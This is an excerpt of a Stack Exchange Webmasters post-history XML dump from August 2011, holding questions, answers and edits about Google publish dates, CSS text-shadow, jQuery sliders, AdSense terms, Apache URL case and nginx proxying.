  <row Id="44747" PostHistoryTypeId="5" PostId="18407" RevisionGUID="328856f0-5587-44c0-bf59-7b58c3f34aba" CreationDate="2011-08-18T14:40:25.907" UserId="1243" Comment="Included another paragraph about whether Google would deduce the publish date based on speculative data." Text="I very much doubt that the published date of a post or article is based on the `&lt;lastmod&gt;` entry in an XML sitemap (as others have suggested) or the Last-Modified HTTP header for that matter. An XML Sitemap is only advisory, not authoritative. The last modified date of a document is probably not the same as the (original) publish date of an article. And, as I mentioned in my comment at the top of the page, the last modified date of a document is probably more important for caching and _perhaps_ determining crawl rates. The Last-Modified HTTP header of dynamically generated pages are often very close to the actual date/time (as it is for WordPress blogs).&#xD;&#xA;&#xD;&#xA;An RSS/Atom feed on the other hand does contain this specific nugget of information. And indeed, on Wordpress sites that do not include the publish date in the content, the publish date still appears in Google's search results. And as far as I can tell, this matches the date in the RSS Feed.&#xD;&#xA;&#xD;&#xA;If there is no RSS feed I think Google is clever enough to analyse the page content. Particularly if dates are marked up 'semantically' with the help of [microformats](http://microformats.org/wiki/datetime-design-pattern). It's perfectly feasible that Google will see the following as the authoritative published date for an article that it is contained within:&#xD;&#xA;&#xD;&#xA;    &lt;abbr class=&quot;published&quot; title=&quot;2010-08-27T15:45:00-0700&quot;&gt;&#xD;&#xA;    Friday, August 27th, 2010&#xD;&#xA;    &lt;/abbr&gt;&#xD;&#xA;&#xD;&#xA;Google certainly does read [microformats](http://microformats.org/wiki/Main_Page) - hCard, hReview, etc.&#xD;&#xA;&#xD;&#xA;Just to add, I don't think Google would state a publish date unless it was able to find something authoritative that would suggest this. It's not going to deduce a 'publish date' on speculative data, since an incorrect 'publish date' is no use to anybody and Google would get a lot of stick for it!&#xD;&#xA;&#xD;&#xA;And just for the record (if @Tom is suggesting otherwise :) I think posts/articles should have the publish date visibly displayed. Many don't, and this can be frustrating for the reader particularly when researching technology issues and you find that having read half way through the article it's out of date!" />
  <row Id="44748" PostHistoryTypeId="2" PostId="18408" RevisionGUID="7267cece-7ba6-4799-a5fb-4440319e5c00" CreationDate="2011-08-18T14:43:29.893" UserId="8687" Text="Most of the comments are correct, though W3Schools comes up in google searches almost as often as wikipedia, neither of them are really what you need to learn. The full specs can be found at W3.org where there are pages for [HTML 4.01][1], [XHTML][2], [CSS1][3] and [CSS2][4] as well as up an coming things like [HTML5][5] and [CSS3][6] drafts. These are the places to go for the exact specs of how everything works.&#xD;&#xA;&#xD;&#xA;In addition to the three skills you mentioned, html, css, and javascript, you should also look to adding a server side language to your toolset and a database. There are many to choose from but since you say your familour with C I'd suggest trying PHP for server scripting and MySQL for databases. These five items are what I use each day.&#xD;&#xA;&#xD;&#xA;You mention that you are used to having librarys in Java that you can call on. Such things do exist in html/css/javascript world. There are javascript libraries and frameworks such as [JQuery][7], [Mootolls][8] and [Dojo][9] amounst others. For CSS there are also frameworks such as [Blueprint][10], [YUI][11], [JqueryUI][12], [960][13] and more. These can help advance you along the road to getting a usable, modern looking, design for your site.&#xD;&#xA;&#xD;&#xA;As for how to learn. It's quite difficult to start with a blank page and work out everything from the ground up. It would be like a new house builder being given a blank plot of land and told to try to build a house. The first house he builds will be awfull, the second little better. Instead the builder learns one trade at a time. The first year he might do nothing but carry bricks. Then he might learn to mix cement and so on. He might be 40 or 50 years old before he knows every aspect and can work a whole project form start to finish and even then he will rely on other people expertise to complete many tasks.&#xD;&#xA;&#xD;&#xA;Instead, start yourself off with a site that is already pretty much done. You can then play with the CSS and learn what things do. Change values and add styles. When you mess it up, go back to the beginning and start again. The same with html and javascript. Play on an existing template and learn one skill at a time. It might be a good idea to start with a CMS like [Drupal][14] or [Wordpress][15] and build simple site then try editing the CSS, writing your own template files or building your own plugins of these systems. Once you've cut your teeth you can try building your own sits from the ground up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/1999/REC-html401-19991224/&#xD;&#xA;  [2]: http://www.w3.org/TR/2002/REC-xhtml1-20020801/&#xD;&#xA;  [3]: http://www.w3.org/TR/2008/REC-CSS1-20080411/&#xD;&#xA;  [4]: http://www.w3.org/TR/2011/REC-CSS2-20110607/&#xD;&#xA;  [5]: http://www.w3.org/TR/2011/WD-html5-20110525/&#xD;&#xA;  [6]: http://www.w3.org/TR/2001/WD-css3-roadmap-20010523/&#xD;&#xA;  [7]: http://jquery.com&#xD;&#xA;  [8]: http://mootools.net/&#xD;&#xA;  [9]: http://dojotoolkit.org/&#xD;&#xA;  [10]: http://www.blueprintcss.org/&#xD;&#xA;  [11]: http://developer.yahoo.com/yui/grids/&#xD;&#xA;  [12]: http://jqueryui.com/&#xD;&#xA;  [13]: http://960.gs/&#xD;&#xA;  [14]: http://www.drupal.org&#xD;&#xA;  [15]: http://wordpress.org" />
  <row Id="44749" PostHistoryTypeId="25" PostId="18405" RevisionGUID="0e90a373-96b9-453d-b1cd-e8b8e665c16d" CreationDate="2011-08-18T15:34:50.957" Comment="http://twitter.com/#!/StackWebmasters/status/104214680926552066" />
  <row Id="44750" PostHistoryTypeId="2" PostId="18409" RevisionGUID="276c058a-f876-4442-a882-1db88b0f1846" CreationDate="2011-08-18T15:51:50.903" UserId="693" Text="I want to add shaddow to all the text into a website. The text is in different elements of the website.&#xD;&#xA;&#xD;&#xA;Now I was thinking of 2 things.&#xD;&#xA;&#xD;&#xA;1) add a class to all the containers with text, and just give the class the text-shaddow style. This will give me a lot of work tho, adding a class the all the elements in the website. And what will this do with the DOM.&#xD;&#xA;&#xD;&#xA;2) Add styling to all the elements: &#xD;&#xA;&#xD;&#xA;    h1,h2,h3,li,p,span{text-shadow:1px 1px 1px rgba(51, 69, 78, 0.5);}&#xD;&#xA;&#xD;&#xA;Which one of the 2 is better to use, or is there a better, more optimized way to do this?&#xD;&#xA;" />
  <row Id="44751" PostHistoryTypeId="1" PostId="18409" RevisionGUID="276c058a-f876-4442-a882-1db88b0f1846" CreationDate="2011-08-18T15:51:50.903" UserId="693" Text="Adding text shaddow to your whole website" />
  <row Id="44752" PostHistoryTypeId="3" PostId="18409" RevisionGUID="276c058a-f876-4442-a882-1db88b0f1846" CreationDate="2011-08-18T15:51:50.903" UserId="693" Text="&lt;css&gt;&lt;optimization&gt;" />
  <row Id="44753" PostHistoryTypeId="2" PostId="18410" RevisionGUID="95639164-de97-46a3-a29c-5e95c310ba27" CreationDate="2011-08-18T16:06:15.763" UserId="1243" Text="IMO you shouldn't create a specific class just for `text-shadow`. That's like adding presentation back into the document. `text-shadow` should be added to those elements (or predefined classes) that require it. So, of your two options, #2 would be my recommendation.&#xD;&#xA;&#xD;&#xA;However, do you _really_ want to add `text-shadow` to _every_ bit of textual content?!" />
  <row Id="44754" PostHistoryTypeId="2" PostId="18411" RevisionGUID="97d779f9-6550-4182-88fd-df57936d7e19" CreationDate="2011-08-18T16:14:19.103" UserId="8687" Text="If your are just grabbing a news feed and publishing it verbatim, as so many other sites do, then you are effectively a news scrapper and your pages will not perform favorably on google. However, if you rewrite into your own wording using the feed as a reference then you will find that you can do very well indeed - even outstripping higher PR sites if you are fresher and faster. Though don't be too persnickety. You can quote parts of another document within your own text without penalty." />
  <row Id="44755" PostHistoryTypeId="5" PostId="18410" RevisionGUID="76472aea-75b1-4b64-87ca-bf57384ffbef" CreationDate="2011-08-18T16:17:00.300" UserId="1243" Comment="added 224 characters in body" Text="IMO you should not create a specific class just for `text-shadow`. That's like adding presentation back into the document. `text-shadow` should be added to those elements (or predefined classes) that require it. So, of your two options, #2 would be my recommendation, although I would have said you should only be adding it to a subset of predefined classes. And not all elements/classes would require the same type of shadow.&#xD;&#xA;&#xD;&#xA;Do you _really_ want to add `text-shadow` to _every_ bit of textual content?! Large blocks of text should not have `text-shadow` applied in my opinion." />
  <row Id="44756" PostHistoryTypeId="5" PostId="18410" RevisionGUID="f007f0d6-1095-4145-b6c3-325f1731130b" CreationDate="2011-08-18T16:56:48.207" UserId="1243" Comment="Mentioned &quot;accessibility&quot;." Text="IMO you should not create a specific class just for `text-shadow`. That's like adding presentation back into the document. `text-shadow` should be added to those elements (or predefined classes) that require it. So, of your two options, #2 would be my recommendation, although I would have said you should only be adding it to a subset of predefined classes. And not all elements/classes would require the same type of shadow.&#xD;&#xA;&#xD;&#xA;Do you _really_ want to add `text-shadow` to _every_ bit of textual content?! Large blocks of text should not have `text-shadow` applied in my opinion. This could make the text harder to read and hence cause some accessibility issues." />
  <row Id="44757" PostHistoryTypeId="2" PostId="18412" RevisionGUID="b9e3d602-2893-4d01-adee-bf3f2bb0122d" CreationDate="2011-08-18T17:10:20.520" UserId="4502" Text="If this is going to apply to all text, you just need to start with:&#xD;&#xA;&#xD;&#xA;    body, input, textarea, select {&#xD;&#xA;        text-shadow : 1px 1px 1px rgba(51, 69, 78, 0.5);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;On testing, you might need to add one or two other elements for total coverage. For example, note that some form elements had to be included explicitly; they're annoying like that. Also remember this is not going to apply to anything that's not actually *in* the document, like iframes.&#xD;&#xA;&#xD;&#xA;If you want *really* to cheat, you can just apply the property to the universal selector:&#xD;&#xA;&#xD;&#xA;    * {&#xD;&#xA;        text-shadow : 1px 1px 1px rgba(51, 69, 78, 0.5);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But given some findings about that being inefficient(it gets applied to *every single thing* on the page) and the type of processing involved in creating things like shadows, it might not be a great idea." />
  <row Id="44758" PostHistoryTypeId="5" PostId="18409" RevisionGUID="107188cd-ae33-4dcc-b714-091fb16434ae" CreationDate="2011-08-18T17:15:55.177" UserId="4502" Comment="Repeated typo" Text="I want to add shadow to all the text into a website. The text is in different elements of the website.&#xD;&#xA;&#xD;&#xA;Now I was thinking of 2 things.&#xD;&#xA;&#xD;&#xA;1) add a class to all the containers with text, and just give the class the text-shadow style. This will give me a lot of work tho, adding a class the all the elements in the website. And what will this do with the DOM?&#xD;&#xA;&#xD;&#xA;2) Add styling to all the elements: &#xD;&#xA;&#xD;&#xA;    h1,h2,h3,li,p,span{text-shadow:1px 1px 1px rgba(51, 69, 78, 0.5);}&#xD;&#xA;&#xD;&#xA;Which one of the 2 is better to use, or is there a better, more optimized way to do this?&#xD;&#xA;" />
  <row Id="44759" PostHistoryTypeId="4" PostId="18409" RevisionGUID="107188cd-ae33-4dcc-b714-091fb16434ae" CreationDate="2011-08-18T17:15:55.177" UserId="4502" Comment="Repeated typo" Text="Adding text shadow to your whole website" />
  <row Id="44760" PostHistoryTypeId="5" PostId="18412" RevisionGUID="8089ed09-caa8-4cdb-8900-f544f99c41e3" CreationDate="2011-08-18T17:16:50.293" UserId="4502" Comment="edited body" Text="If this is going to apply to all text, you just need to start with:&#xD;&#xA;&#xD;&#xA;    body, input, textarea, select {&#xD;&#xA;        text-shadow : 1px 1px 1px rgba(51, 69, 78, 0.5);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;On testing, you might need to add one or two other elements for total coverage. For example, note that some form elements had to be included explicitly; they're annoying like that. Also remember this is not going to apply to anything that's not actually *in* the document, like iframes.&#xD;&#xA;&#xD;&#xA;If you *really* want to cheat, you can just apply the property to the universal selector:&#xD;&#xA;&#xD;&#xA;    * {&#xD;&#xA;        text-shadow : 1px 1px 1px rgba(51, 69, 78, 0.5);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But given some findings about that being inefficient(it gets applied to *every single thing* on the page) and the type of processing involved in creating things like shadows, it might not be a great idea." />
  <row Id="44761" PostHistoryTypeId="2" PostId="18413" RevisionGUID="0fd9af34-5dcd-4370-8ed6-cf042314e0f1" CreationDate="2011-08-18T17:33:10.827" UserId="9674" Text="I'm looking for a jquery's plugin that will constantly slide some elements from e.g right to left and when I move a mouse pointer over an element, the animation stops. When I move the mouse pointer out, the animation continues. Did You find that plugin ? I've seen that but I can't remember where." />
  <row Id="44762" PostHistoryTypeId="1" PostId="18413" RevisionGUID="0fd9af34-5dcd-4370-8ed6-cf042314e0f1" CreationDate="2011-08-18T17:33:10.827" UserId="9674" Text="jQuery: Looking for slideshow/slider plugin" />
  <row Id="44763" PostHistoryTypeId="3" PostId="18413" RevisionGUID="0fd9af34-5dcd-4370-8ed6-cf042314e0f1" CreationDate="2011-08-18T17:33:10.827" UserId="9674" Text="&lt;jquery&gt;" />
  <row Id="44764" PostHistoryTypeId="2" PostId="18414" RevisionGUID="48b1a248-6481-4a9a-9eea-d025fd8247a1" CreationDate="2011-08-18T17:45:16.003" UserId="4142" Text="I always lean towards keeping **multiple, organized files** for CSS or Javascript, even though it may create more connection overhead through multiple HTTP requests.&#xD;&#xA;&#xD;&#xA;I've come to this conclusion by weighing the different resources at stake; mainly, *bandwidth* vs. *developer time*.&#xD;&#xA;&#xD;&#xA;I'm only one guy, and I have a lot on my plate. Keeping everything separate and organized means less time rooting through minimized blobs of CSS or JS, and more time improving the web sites I maintain.&#xD;&#xA;&#xD;&#xA;Besides, things like HTTP compression make a much bigger impact, in my experience, than optimizing the last byte out of your code and preventing a request or two. Keep things lean where you can, but don't drive yourself nuts in the process!" />
  <row Id="44765" PostHistoryTypeId="2" PostId="18415" RevisionGUID="f278bf19-d313-4712-a7df-6cbbcf92dde6" CreationDate="2011-08-18T18:20:25.807" UserId="6355" Text="[Nivo slider][1] is a good choice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nivo.dev7studios.com/" />
  <row Id="44766" PostHistoryTypeId="2" PostId="18416" RevisionGUID="66444436-abf9-40ea-94d9-bef9b16eb60a" CreationDate="2011-08-18T18:25:04.553" UserId="8147" Text="What about [google?](http://www.google.com/search?q=jquery+slideshow+plugin)&#xD;&#xA;&#xD;&#xA;http://plugins.jquery.com/project/slideview" />
  <row Id="44767" PostHistoryTypeId="2" PostId="18417" RevisionGUID="7f3cbf81-0c65-4cb7-9d5a-7360c5384a33" CreationDate="2011-08-18T18:27:57.763" UserId="8147" Text="Try to look at this [fix](http://dorkage.net/blog/2011/01/18/fb_xd_fragment-facebook-bugfix/)&#xD;&#xA;&#xD;&#xA;Where you have your FB.init, add a channelUrl parameter as follows:&#xD;&#xA;&#xD;&#xA;    FB.init({appId: appId, status: true, cookie: true, xfbml: true, channelUrl: 'http://example.com/channel.html'});  &#xD;&#xA;    // ^ channel URL above used to workaround fb_xd_fragment bug  &#xD;&#xA;&#xD;&#xA;Next implement a special static channel page. On that page include the javascript for the Facebook connect as follows:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/en_US/all.js&quot;&gt;&lt;/script&gt;  " />
  <row Id="44768" PostHistoryTypeId="2" PostId="18418" RevisionGUID="affb95f4-2026-4d89-a41a-2baa04c7f116" CreationDate="2011-08-18T18:31:20.767" UserId="8354" Text="There quite a lot of **jQuery powered** sliders that can do such job. **Here are just a few** that should fall under your requirements (I'm just not 100% sure on &quot;constantly right to left&quot; requirement -- if fade in/out (or similar effects) counts as &quot;right to left&quot; the it will be fine):&#xD;&#xA;&#xD;&#xA; - Nivo Slider - http://nivo.dev7studios.com/&#xD;&#xA; - FlexSkuder - http://flex.madebymufffin.com/&#xD;&#xA; - Orbit - http://www.zurb.com/playground/jquery_image_slider_plugin&#xD;&#xA; - jqFancyTransitions - http://workshop.rs/projects/jqfancytransitions/&#xD;&#xA; - AnythingSlider - http://css-tricks.com/3412-anythingslider-jquery-plugin/&#xD;&#xA;&#xD;&#xA;**Standalone** slider:&#xD;&#xA;&#xD;&#xA; - Sliderman.js - http://www.devtrix.net/sliderman/examples.html&#xD;&#xA;" />
  <row Id="44769" PostHistoryTypeId="5" PostId="18415" RevisionGUID="5f2a9947-eb30-44b0-929c-b31a3d772056" CreationDate="2011-08-18T18:32:02.620" UserId="6355" Comment="added 118 characters in body" Text="[Nivo slider][1] is a good choice. It has plenty of [options to configure][2], it's free and well documented.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nivo.dev7studios.com/&#xD;&#xA;  [2]: http://nivo.dev7studios.com/#usage" />
  <row Id="44770" PostHistoryTypeId="25" PostId="18409" RevisionGUID="af6a9b5f-2b76-4468-8edb-a8ba4c262ae4" CreationDate="2011-08-18T18:34:51.913" Comment="http://twitter.com/#!/StackWebmasters/status/104259984723943426" />
  <row Id="44771" PostHistoryTypeId="2" PostId="18419" RevisionGUID="e7d8aead-a98e-4d82-b1ce-76255319167c" CreationDate="2011-08-18T20:02:08.773" UserId="1064" Text="&gt; Does Google penalise me for this in any way?&#xD;&#xA;&#xD;&#xA;No, but you will be missing out on traffic Google would have brought to your site (at those URL's) once Googlebot determines that the URL's no longer exist." />
  <row Id="44772" PostHistoryTypeId="25" PostId="18395" RevisionGUID="a150e166-aaef-48b0-9e63-842c0e0c4352" CreationDate="2011-08-18T21:34:52.803" Comment="http://twitter.com/#!/StackWebmasters/status/104305287468556288" />
  <row Id="44773" PostHistoryTypeId="2" PostId="18420" RevisionGUID="ea27904e-c56a-4e2c-98d5-9051760410e6" CreationDate="2011-08-18T23:28:08.313" UserId="9678" Text="Is this already acceptable in the Adsense ToS? (can't find any information on this specific case). If the user resizes the browser (css 3):&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 980px) {&#xD;&#xA;     #skyscraper { display: none; }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;![example at okcupid.com - large site][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ppzDn.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The idea is to present an horizontal-scroll-free site when the user resizes the browser window to 980px or less." />
  <row Id="44774" PostHistoryTypeId="1" PostId="18420" RevisionGUID="ea27904e-c56a-4e2c-98d5-9051760410e6" CreationDate="2011-08-18T23:28:08.313" UserId="9678" Text="Hiding and Showing Google Adsense blocks with Media Queries" />
  <row Id="44775" PostHistoryTypeId="3" PostId="18420" RevisionGUID="ea27904e-c56a-4e2c-98d5-9051760410e6" CreationDate="2011-08-18T23:28:08.313" UserId="9678" Text="&lt;google-adsense&gt;&lt;css3&gt;" />
  <row Id="44776" PostHistoryTypeId="2" PostId="18421" RevisionGUID="7d750962-3c11-4ac6-aa5d-3c8eda0dcf78" CreationDate="2011-08-18T23:37:05.343" UserId="9679" Text="Let's say I keep every word of file names capitalized.  For example, `Home.php` or `MultipleWordTitle.html`.&#xD;&#xA;&#xD;&#xA;Is there any way for Apache to redirect requests for incorrectly-cased URLs to the capitalized pages, preferrably using `.htaccess`?&#xD;&#xA;&#xD;&#xA;Simply rewriting the URL to make the first letter capitalized won't work, since some files have multiple capital letters.&#xD;&#xA;&#xD;&#xA;Ideally, I'd like the change to be reflected on the user's side, so it would show up as `MultipleWordTitle.html` in his/her address bar.  It's okay if that can't be done, though." />
  <row Id="44777" PostHistoryTypeId="1" PostId="18421" RevisionGUID="7d750962-3c11-4ac6-aa5d-3c8eda0dcf78" CreationDate="2011-08-18T23:37:05.343" UserId="9679" Text="Can Apache &quot;Correct&quot; URL Case?" />
  <row Id="44778" PostHistoryTypeId="3" PostId="18421" RevisionGUID="7d750962-3c11-4ac6-aa5d-3c8eda0dcf78" CreationDate="2011-08-18T23:37:05.343" UserId="9679" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;url&gt;&lt;url-rewriting&gt;" />
  <row Id="44779" PostHistoryTypeId="2" PostId="18422" RevisionGUID="574b4f1b-4286-4df5-b353-1000940610ce" CreationDate="2011-08-19T00:31:39.150" UserId="1064" Text="There are many reasons *not* to ignore the all-lowercase convention but, if you believe you have a good reason for doing so, you can use Apache's [mod_speling][1] to ignore case problems in the request and then specify the [canonical URL][2] in the document itself, or issue a redirect as LazyOne described.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_speling.html#checkcaseonly&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="44780" PostHistoryTypeId="2" PostId="18423" RevisionGUID="7e41cdf7-8c79-43e2-af2e-73affb085c42" CreationDate="2011-08-19T00:34:42.333" UserId="4118" Text="Don't apply it to a bunch of elements individually; just set it at the top and the shadow will apply to all contained text.&#xD;&#xA;&#xD;&#xA;    body { text-shadow:1px 1px 1px rgba(51, 69, 78, 0.5); }&#xD;&#xA;&#xD;&#xA;(If it didn't work this way, then there would be lots of inconveniences from document structure, such as if you specified a shadow on a paragraph which contained a link.)" />
  <row Id="44781" PostHistoryTypeId="25" PostId="18400" RevisionGUID="614a452c-6cc3-4fd5-a762-ee2b10f24b69" CreationDate="2011-08-19T00:34:53.817" Comment="http://twitter.com/#!/StackWebmasters/status/104350587637874688" />
  <row Id="44782" PostHistoryTypeId="2" PostId="18424" RevisionGUID="479ff985-33e6-468e-9c9f-68c9c445f720" CreationDate="2011-08-19T00:35:58.073" UserId="9680" Text="Can I use the same nginx installation as a reverse proxy (for apache+mod_wsgi) and use it to server static content and PHP over a single IP address at the same time?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="44783" PostHistoryTypeId="1" PostId="18424" RevisionGUID="479ff985-33e6-468e-9c9f-68c9c445f720" CreationDate="2011-08-19T00:35:58.073" UserId="9680" Text="Nginx as a reverse proxy and static/dynamic content server at the same time?" />
  <row Id="44784" PostHistoryTypeId="3" PostId="18424" RevisionGUID="479ff985-33e6-468e-9c9f-68c9c445f720" CreationDate="2011-08-19T00:35:58.073" UserId="9680" Text="&lt;php&gt;&lt;nginx&gt;" />
  <row Id="44786" PostHistoryTypeId="25" PostId="18421" RevisionGUID="771b51eb-2000-46ee-a7d8-51e22d855d26" CreationDate="2011-08-19T03:34:53.460" Comment="http://twitter.com/#!/StackWebmasters/status/104395886662139904" />
  <row Id="44787" PostHistoryTypeId="2" PostId="18426" RevisionGUID="f0b75ad9-1eb7-4d3a-a141-11a06ee48725" CreationDate="2011-08-19T03:36:14.003" UserId="9473" Text="All what you need is here:&#xD;&#xA;&#xD;&#xA;http://www.webdesignshock.com/100-best-jquery-image-gallery-plugins/&#xD;&#xA;&#xD;&#xA;Just select which suites your needs. Easy to integrate and many customizable options available with documentation and demos.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="44788" PostHistoryTypeId="17" PostId="18427" RevisionGUID="39f9a818-55bd-4298-a7f2-c01292cea894" CreationDate="2011-08-19T04:00:17.513" UserId="-1" Comment="from http://stackoverflow.com/questions/7110686/double-vs-single-quotes-in-chrome" Text="" />
  <row Id="44789" PostHistoryTypeId="2" PostId="18427" RevisionGUID="cd74f811-e6c9-48ba-ab91-5f694773e227" CreationDate="2011-08-18T16:16:42.897" UserId="9691" UserDisplayName="Rodrigo" Text="So when you want to embed google docs on a site you are given this chunk of code:&#xD;&#xA;&#xD;&#xA;    &lt;iframe width='500' height='300' frameborder='0' src='https://docs.google.com/spreadsheet/pub?hl=en_US&amp;hl=en_US&amp;key=0AiV6Vq32hBZIdHZRN3EwWERLZHVUT25ST01LTGxubWc&amp;output=html&amp;widget=true'&gt;&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;This works fine on my site.  If you edit the page, we run the new content through some filters to escape out stuff and make sure it is valid html.  After the process, the link above gets converted to this:&#xD;&#xA;&#xD;&#xA;    &lt;iframe frameborder=&quot;0&quot; height=&quot;300&quot; src=&quot;https://docs.google.com/spreadsheet/pub?hl=en_US&amp;amp;hl=en_US&amp;amp;key=0AiV6Vq32hBZIdHZRN3EwWERLZHVUT25ST01LTGxubWc&amp;amp;output=html&amp;amp;widget=true&quot; width=&quot;500&quot;&gt;&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;This will work on every browser except for chrome.  Chrome thinks I am running JS in the src.  I narrowed it down to a combination of double quotes and escaped '&amp;' symbols.  If i revert one of those back to the original state, the iframe works.&#xD;&#xA;&#xD;&#xA;I work in ruby where ' and &quot; have different behaviors.  If Chrome doing the same thing?  Is there a way to turn that off?&#xD;&#xA;&#xD;&#xA;-rod" />
  <row Id="44790" PostHistoryTypeId="1" PostId="18427" RevisionGUID="cd74f811-e6c9-48ba-ab91-5f694773e227" CreationDate="2011-08-18T16:16:42.897" UserId="9691" UserDisplayName="Rodrigo" Text="Double vs Single Quotes in Chrome" />
  <row Id="44791" PostHistoryTypeId="3" PostId="18427" RevisionGUID="cd74f811-e6c9-48ba-ab91-5f694773e227" CreationDate="2011-08-18T16:16:42.897" UserId="9691" UserDisplayName="Rodrigo" Text="&lt;html&gt;&lt;google-chrome&gt;&lt;iframe&gt;" />
  <row Id="44792" PostHistoryTypeId="2" PostId="18428" RevisionGUID="059b1bb4-c5c9-470a-8b69-b34e4d6d8c72" CreationDate="2011-08-19T05:02:47.530" UserId="693" Text="I am creating a website with a lot of programming language, and words that are related to programming and application development.&#xD;&#xA;&#xD;&#xA;Now I like the idea to have a tooltip on certain words, let's say a word like php. When someone rolls over the word a small popup appears with a small text explaining what it is. Stackoverflow uses the same when you roll over a tag.&#xD;&#xA;&#xD;&#xA;Is here an API that I can use to get the info on certain words, or should I create it myself." />
  <row Id="44793" PostHistoryTypeId="1" PostId="18428" RevisionGUID="059b1bb4-c5c9-470a-8b69-b34e4d6d8c72" CreationDate="2011-08-19T05:02:47.530" UserId="693" Text="Adding description for words on your website" />
  <row Id="44794" PostHistoryTypeId="3" PostId="18428" RevisionGUID="059b1bb4-c5c9-470a-8b69-b34e4d6d8c72" CreationDate="2011-08-19T05:02:47.530" UserId="693" Text="&lt;web-development&gt;&lt;keywords&gt;&lt;api&gt;" />
  <row Id="44795" PostHistoryTypeId="25" PostId="18420" RevisionGUID="3081cd68-b111-42e1-8381-e246515a4a41" CreationDate="2011-08-19T06:34:53.183" Comment="http://twitter.com/#!/StackWebmasters/status/104441184851726336" />
  <row Id="44796" PostHistoryTypeId="2" PostId="18429" RevisionGUID="ad4bb185-0fce-43ef-8272-ca75d1c6a008" CreationDate="2011-08-19T06:51:49.337" UserId="7198" Text="You can't hide ads; it's in the [AdSense terms and conditions](https://www.google.com/adsense/terms) under &quot;5. Prohibited Uses&quot;:&#xD;&#xA;&#xD;&#xA;&gt; You shall not, and shall not authorize or encourage any third party&#xD;&#xA;&gt; to: ... (ii) edit, modify, filter, truncate or change the order of the&#xD;&#xA;&gt; information contained in any Ad, Link, Ad Unit, Search Result, or&#xD;&#xA;&gt; Referral Button, **or remove, obscure or minimize any Ad, Link, Ad Unit,&#xD;&#xA;&gt; Search Result, or Referral Button** in any way without authorization&#xD;&#xA;&gt; from Google;&#xD;&#xA;&#xD;&#xA;Seems pretty clear to me. (It's probably because the JavaScript code for the ad would still run, falsely reporting an ad view and stunting the click through rate.)&#xD;&#xA;&#xD;&#xA;Moving the ad to the footer area for narrow screens using media queries might be safer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44797" PostHistoryTypeId="2" PostId="18430" RevisionGUID="b6da61ec-52fd-49b1-b521-be48ce87fcac" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="I have set up a private [MoinMoin][1] wiki, accessed through HTTPS, but I cannot get Basic HTTP Authentication to work on it.  I have it working on another site, using a similar vhosts file, so I cannot figure out what I am doing wrong.&#xD;&#xA;&#xD;&#xA;If there are any other things I may not be doing well here, please discuss.&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 00.00.00.00:80&gt;&#xD;&#xA;            ServerName wiki.mysite.net&#xD;&#xA;            Redirect 301 / https://wiki.mysite.net&#xD;&#xA;            CustomLog /var/log/apache2/access.log combined&#xD;&#xA;            ErrorLog /var/log/apache2/error.log&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost 00.00.00.00:443&gt;&#xD;&#xA;            ServerName      wiki.mysite.net&#xD;&#xA;            DocumentRoot    /var/www/mywiki/&#xD;&#xA;                    &#xD;&#xA;            ### Serve static contents (images, javascript, css...) ###&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/applets/FCKeditor/(.*)&quot; &quot;/usr/share/fckeditor/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/fckeditor/&quot;&gt;&#xD;&#xA;                    Options None&#xD;&#xA;                    AllowOverride&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;                                                                    &#xD;&#xA;            # The path to static contents changes (named after moinmoin version).&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/(.*)&quot; &quot;/usr/share/moin/htdocs/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/moin/htdocs/&quot;&gt;&#xD;&#xA;                    Options -Indexes -FollowSymlinks&#xD;&#xA;                    AllowOverride None&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;            &#xD;&#xA;            Alias /robots.txt /usr/share/moin/htdocs/robots.txt&#xD;&#xA;            Alias /favicon.ico /usr/share/moin/htdocs/favicon.ico&#xD;&#xA;            &#xD;&#xA;            WSGIDaemonProcess mywiki user=www-data group=www-data processes=4 display-name=moin-wsgi-mywiki&#xD;&#xA;            WSGIProcessGroup mywiki&#xD;&#xA;            WSGIScriptAlias / &quot;/usr/share/moin/server/moin.wsgi&quot;&#xD;&#xA;            # WSGIPassAuthorization On&#xD;&#xA;            # Read: http://moinmo.in/HowTo/ApacheWithModWSGI&#xD;&#xA;            &#xD;&#xA;            &lt;Proxy *&gt;&#xD;&#xA;                    AuthUserFile    /var/www/.htpasswd&#xD;&#xA;                    AuthName        EnterPassword&#xD;&#xA;                    AuthType        Basic&#xD;&#xA;                    require         valid-user&#xD;&#xA;                    Order           Deny,allow&#xD;&#xA;                    Allow           from all&#xD;&#xA;            &lt;/Proxy&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moinmo.in/" />
